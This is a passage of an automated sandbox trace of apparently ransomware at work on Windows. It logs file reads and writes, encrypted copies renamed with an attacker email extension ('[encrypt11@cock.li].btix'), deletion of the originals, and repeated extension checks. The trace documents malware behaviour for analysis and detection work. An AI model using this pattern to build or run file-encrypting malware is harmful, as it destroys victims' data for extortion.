nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xefed0, lpOverlapped=0x0) returned 1 [0057.650] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.650] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xec, lpOverlapped=0x0) returned 1 [0057.650] SetEndOfFile (hFile=0x398) returned 1 [0057.650] CloseHandle (hObject=0x398) returned 1 [0057.991] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.991] SetEndOfFile (hFile=0x30c) returned 1 [0057.997] CloseHandle (hObject=0x30c) returned 1 [0057.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0057.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.998] lstrlenW (lpString=".doc") returned 4 [0057.998] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.998] lstrlenW (lpString=".docx") returned 5 [0057.998] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0057.998] lstrlenW (lpString=".pdf") returned 4 [0057.998] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.998] lstrlenW (lpString=".xls") returned 4 [0057.998] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.998] lstrlenW (lpString=".xlsx") returned 5 [0057.998] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0057.998] lstrlenW (lpString=".ppt") returned 4 [0057.998] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.998] lstrlenW (lpString=".zip") returned 4 [0057.998] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.999] lstrlenW (lpString=".rar") returned 4 [0057.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.999] lstrlenW (lpString=".bz2") returned 4 [0057.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.999] lstrlenW (lpString=".7z") returned 3 [0057.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.999] lstrlenW (lpString=".dbf") returned 4 [0057.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.999] lstrlenW (lpString=".1cd") returned 4 [0057.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.999] lstrlenW (lpString=".jpg") returned 4 [0057.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.999] lstrlenW (lpString=".doc") returned 4 [0057.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.999] lstrlenW (lpString=".docx") returned 5 [0057.999] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0057.999] lstrlenW (lpString=".pdf") returned 4 [0057.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.999] lstrlenW (lpString=".xls") returned 4 [0057.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.999] lstrlenW (lpString=".xlsx") returned 5 [0057.999] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0057.999] lstrlenW (lpString=".ppt") returned 4 [0057.999] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0057.999] lstrlenW (lpString=".zip") returned 4 [0058.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.000] lstrlenW (lpString=".rar") returned 4 [0058.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.000] lstrlenW (lpString=".bz2") returned 4 [0058.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.000] lstrlenW (lpString=".7z") returned 3 [0058.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0058.000] lstrlenW (lpString=".dbf") returned 4 [0058.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0058.000] lstrlenW (lpString=".1cd") returned 4 [0058.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0058.000] lstrlenW (lpString=".jpg") returned 4 [0058.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.000] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0058.000] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0058.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.150] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=9728) returned 1 [0058.150] CloseHandle (hObject=0x31c) returned 1 [0058.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0058.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0058.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.151] lstrlenW (lpString=".doc") returned 4 [0058.151] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.151] lstrlenW (lpString=".docx") returned 5 [0058.151] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.151] lstrlenW (lpString=".pdf") returned 4 [0058.151] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.151] lstrlenW (lpString=".xls") returned 4 [0058.151] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.151] lstrlenW (lpString=".xlsx") returned 5 [0058.151] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.151] lstrlenW (lpString=".ppt") returned 4 [0058.151] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.151] lstrlenW (lpString=".zip") returned 4 [0058.152] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.154] lstrlenW (lpString=".rar") returned 4 [0058.154] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.154] lstrlenW (lpString=".bz2") returned 4 [0058.154] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.154] lstrlenW (lpString=".7z") returned 3 [0058.154] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.154] lstrlenW (lpString=".dbf") returned 4 [0058.154] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.154] lstrlenW (lpString=".1cd") returned 4 [0058.154] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.154] lstrlenW (lpString=".jpg") returned 4 [0058.154] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.154] lstrlenW (lpString=".doc") returned 4 [0058.154] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.154] lstrlenW (lpString=".docx") returned 5 [0058.154] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.154] lstrlenW (lpString=".pdf") returned 4 [0058.154] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.154] lstrlenW (lpString=".xls") returned 4 [0058.154] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.154] lstrlenW (lpString=".xlsx") returned 5 [0058.154] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.154] lstrlenW (lpString=".ppt") returned 4 [0058.155] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.155] lstrlenW (lpString=".zip") returned 4 [0058.155] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.155] lstrlenW (lpString=".rar") returned 4 [0058.155] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.155] lstrlenW (lpString=".bz2") returned 4 [0058.155] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.155] lstrlenW (lpString=".7z") returned 3 [0058.155] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.155] lstrlenW (lpString=".dbf") returned 4 [0058.155] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.155] lstrlenW (lpString=".1cd") returned 4 [0058.155] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0058.155] lstrlenW (lpString=".jpg") returned 4 [0058.155] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.155] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0058.155] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0058.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.156] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=8704) returned 1 [0058.156] CloseHandle (hObject=0x31c) returned 1 [0058.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0058.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0058.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.156] lstrlenW (lpString=".doc") returned 4 [0058.156] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.156] lstrlenW (lpString=".docx") returned 5 [0058.156] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.156] lstrlenW (lpString=".pdf") returned 4 [0058.156] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.156] lstrlenW (lpString=".xls") returned 4 [0058.156] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.156] lstrlenW (lpString=".xlsx") returned 5 [0058.156] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.156] lstrlenW (lpString=".ppt") returned 4 [0058.156] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.157] lstrlenW (lpString=".zip") returned 4 [0058.157] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.157] lstrlenW (lpString=".rar") returned 4 [0058.157] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.157] lstrlenW (lpString=".bz2") returned 4 [0058.157] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.157] lstrlenW (lpString=".7z") returned 3 [0058.157] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.157] lstrlenW (lpString=".dbf") returned 4 [0058.157] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.157] lstrlenW (lpString=".1cd") returned 4 [0058.157] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.157] lstrlenW (lpString=".jpg") returned 4 [0058.157] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.157] lstrlenW (lpString=".doc") returned 4 [0058.157] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.157] lstrlenW (lpString=".docx") returned 5 [0058.157] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.157] lstrlenW (lpString=".pdf") returned 4 [0058.157] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.157] lstrlenW (lpString=".xls") returned 4 [0058.157] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.157] lstrlenW (lpString=".xlsx") returned 5 [0058.157] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.157] lstrlenW (lpString=".ppt") returned 4 [0058.157] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.157] lstrlenW (lpString=".zip") returned 4 [0058.157] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.157] lstrlenW (lpString=".rar") returned 4 [0058.157] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.158] lstrlenW (lpString=".bz2") returned 4 [0058.158] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.158] lstrlenW (lpString=".7z") returned 3 [0058.158] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.158] lstrlenW (lpString=".dbf") returned 4 [0058.158] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.158] lstrlenW (lpString=".1cd") returned 4 [0058.158] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0058.158] lstrlenW (lpString=".jpg") returned 4 [0058.158] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0059.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0059.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0059.019] lstrlenW (lpString=".doc") returned 4 [0059.019] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.019] lstrlenW (lpString=".docx") returned 5 [0059.019] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0059.019] lstrlenW (lpString=".pdf") returned 4 [0059.019] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.019] lstrlenW (lpString=".xls") returned 4 [0059.019] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.019] lstrlenW (lpString=".xlsx") returned 5 [0059.019] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0059.019] lstrlenW (lpString=".ppt") returned 4 [0059.019] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0059.019] lstrlenW (lpString=".zip") returned 4 [0059.019] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.019] lstrlenW (lpString=".rar") returned 4 [0059.019] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.019] lstrlenW (lpString=".bz2") returned 4 [0059.019] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.019] lstrlenW (lpString=".7z") returned 3 [0059.019] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0059.020] lstrlenW (lpString=".dbf") returned 4 [0059.020] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0059.020] lstrlenW (lpString=".1cd") returned 4 [0059.020] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0059.020] lstrlenW (lpString=".jpg") returned 4 [0059.020] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.661] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.661] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0059.661] GetLastError () returned 0x0 [0059.661] ReadFile (in: hFile=0x32c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0059.741] WriteFile (in: hFile=0x390, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0059.757] ReadFile (in: hFile=0x32c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x68268, lpOverlapped=0x0) returned 1 [0060.014] WriteFile (in: hFile=0x390, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x68270, lpOverlapped=0x0) returned 1 [0060.025] ReadFile (in: hFile=0x32c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.025] WriteFile (in: hFile=0x390, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xea, lpOverlapped=0x0) returned 1 [0060.025] SetEndOfFile (hFile=0x390) returned 1 [0060.025] CloseHandle (hObject=0x390) returned 1 [0060.300] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.300] SetEndOfFile (hFile=0x32c) returned 1 [0060.303] CloseHandle (hObject=0x32c) returned 1 [0060.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0060.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0060.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0060.304] lstrlenW (lpString=".doc") returned 4 [0060.304] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.304] lstrlenW (lpString=".docx") returned 5 [0060.304] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0060.304] lstrlenW (lpString=".pdf") returned 4 [0060.304] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.304] lstrlenW (lpString=".xls") returned 4 [0060.304] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.304] lstrlenW (lpString=".xlsx") returned 5 [0060.304] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0060.304] lstrlenW (lpString=".ppt") returned 4 [0060.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0060.304] lstrlenW (lpString=".zip") returned 4 [0060.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.304] lstrlenW (lpString=".rar") returned 4 [0060.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.304] lstrlenW (lpString=".bz2") returned 4 [0060.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.304] lstrlenW (lpString=".7z") returned 3 [0060.305] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0060.305] lstrlenW (lpString=".dbf") returned 4 [0060.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0060.305] lstrlenW (lpString=".1cd") returned 4 [0060.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0060.305] lstrlenW (lpString=".jpg") returned 4 [0060.305] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.930] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.930] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.931] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 